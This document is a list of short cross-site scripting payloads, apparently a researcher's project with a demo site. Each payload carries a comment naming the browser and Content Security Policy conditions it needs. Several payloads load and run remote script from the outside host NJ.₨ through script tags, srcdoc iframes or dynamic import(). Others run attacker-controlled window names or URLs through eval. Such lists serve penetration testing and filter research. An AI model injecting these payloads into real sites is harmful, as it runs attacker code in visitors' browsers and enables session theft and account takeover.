A collection of short XSS payloads that can be used in different contexts.
The DEMO available here: https://tinyxss.terjanq.me
<!-- If you control the name, will work on Firefox in any context, will fail in chromium in DOM -->
<svg/onload=eval(name)><!-- If you control the URL -->
<svg/onload=eval(`'`+URL)><!-- If you control the name, but unsafe-eval not enabled -->
<svg/onload=location=name><!-- Just a casual script -->
<script/src=//NJ.₨></script><!-- If you control the name of the window -->
<iframe/onload=src=top.name><!-- If you control the URL -->
<iframe/onload=eval(`'`+URL)><!-- If number of iframes on the page is constant -->
<iframe/onload=src=top[0].name+/\NJ.₨?/><!-- for Firefox only -->
<iframe/srcdoc="<svg><script/href=//NJ.₨ />"><!-- If number of iframes on the page is random -->
<iframe/onload=src=contentWindow.name+/\NJ.₨?/><!-- If unsafe-inline is disabled in CSP and external scripts allowed -->
<iframe/srcdoc="<script/src=//NJ.₨></script>"><!-- If inline styles are allowed -->
<style/onload=eval(name)><!-- If inline styles are allowed and the URL can be controlled -->
<style/onload=eval(`'`+URL)><!-- If inline styles are blocked -->
<style/onerror=eval(name)><!-- Uses external script as import, doesn't work in innerHTML unless Firefox --><!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<svg/onload=import(/\\NJ.₨/)><!-- Uses external script as import, triggers if inline styles are allowed.
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<style/onload=import(/\\NJ.₨/)><!-- Uses external script as import -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<iframe/onload=import(/\\NJ.₨/)>Deprecated:
<!-- If you control the URL, Safari-only -->
<iframe/onload=write(URL)><!-- If inline styles are allowed, Safari only -->
<style/onload=write(URL)>